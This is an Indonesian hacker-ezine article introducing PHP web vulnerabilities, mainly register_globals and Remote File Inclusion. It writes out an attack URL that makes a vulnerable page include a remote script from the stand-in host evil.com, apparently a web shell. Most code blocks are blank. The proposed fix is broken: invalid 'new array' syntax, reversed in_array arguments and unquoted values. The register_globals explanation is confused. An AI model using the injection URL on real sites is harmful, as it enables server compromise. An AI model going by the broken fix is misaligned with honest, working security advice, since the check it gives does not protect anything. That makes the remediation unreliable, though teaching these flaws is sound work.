.__ .___ ____ _____ ____ _________ ___________ |__| __| _/ / _ \ / \_/ __ \ / ___\__ \ / _ \_ __ \ | |/ __ | ( <_> ) Y Y \ ___// /_/ > __ \_ ( <_> ) | \/ | / /_/ | \____/|__|_| /\___ >___ (____ / /\____/|__| /\__\____ | \/ \/_____/ \/ \/ \/ \/ OMEGA|ZINE RELEASE 02 Author: opt1lc || opt1lc@yahoo.com Online @ www.omega.or.id :: http://ezine.omega.or.id == Pengenalan Celah keamanan pada Aplikasi Web berbasis PHP == Pendahuluan PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : http://php.net). PHP menjadi “ladang” pengaplikasian berbagai variabel yang ada dalam script secara autoglobal oleh programer dan juga menjadi “ladang” attacking para attacker karena PHP memiliki fasilitas autoglobal pada beberapa variabel :p GET and POST Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang ada dalam PHP. variabel register_global yang tersetting “on” pada file php.ini berfungsi untuk membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun harus di definisikan secara spesifik. seperti ini lah contoh script php nya : ----------------------------------------------------------------------- ----------------------------------------------------------------------- dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal pengamanan. Parameter Include Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh autoglobal itu sendiri. saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote web/server si target. contoh script PHP : ----------------------------------------------------------------------- ----------------------------------------------------------------------- tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page']; http://www.site.com/index.php?page=galeri.php maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini http://www.site.com/index.php?page=http://www.evil.com/r57.txt? dan bila kita lihat source codenya akan menjadi seperti ini : ----------------------------------------------------------------------- ----------------------------------------------------------------------- script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude (memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi yang sama terdapat pada include_once(), require(), require_once(). solusi dari bug ini sebenarnya sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan file yang sah di include ke array. contoh script seperti ini : ----------------------------------------------------------------------- $file_valid = new array(“index”,”galeri”,”profil”); $file = $_GET['page']; if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file ----------------------------------------------------------------------- proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker (www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file di ganti value (redirect) ke file index.php Penutup Sebenarnya masih banyak lagi celah-celah keamanan pada aplikasi web berbasis PHP. dari mulai proses input query database, system(), passthry(), shellexec(), exec() dan lain-lain. atau pada database seperti MySQL, bug dijalankan melalui perintah-perintah yang bisa kita inputkan di web browser. tapi dalam artikel ini saya hanya mengenalkan beberapa celah keamanan yang cukup diperhitungkan kondisinya. Refrensi http://www.php.net http://www.google.com (dork : security php) http://www.go4expert.com/forum KEAMANAN PADA APLIKASI WEB DENGAN PHP oleh ABD. THALIB Dan lain-lain (lupa) *greetz to: NTOS-TEAM, omega staff, semua komunitas underground indonesia. kirimkan kritik && saran ke opt1lc@yahoo.com